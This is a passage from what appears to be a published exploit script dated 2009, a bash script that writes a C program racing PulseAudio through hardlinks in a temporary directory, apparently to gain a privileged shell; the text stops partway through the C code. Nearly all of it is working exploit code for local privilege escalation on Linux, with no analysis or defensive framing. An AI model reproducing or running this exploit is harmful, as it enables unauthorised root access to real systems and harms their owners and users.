pulseaudio1-escalate.txt
Posted on 20 July 2009
#!/bin/bash pulseaudio=`which pulseaudio` workdir="/tmp" #workdir=$HOME id=`which id` shell=`which sh` trap cleanup INT function cleanup() { rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c rm -rf $workdir/PATMP* } cat > $workdir/pa_race.c << __EOF__ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/wait.h> #define PULSEAUDIO_PATH "$pulseaudio" #define SH_PATH "$workdir/sh" #define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX" void _pause(long sec, long usec); int main(int argc, char *argv[], char *envp[]) { int status; pid_t pid; char template[sizeof(TMPDIR_TEMPLATE)]; char *tmpdir; char hardlink[sizeof(template) + 2]; char hardlink2[sizeof(template) + 12]; srand(time(NULL)); for( ; ; ) { snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE); template[sizeof(template) - 1] = '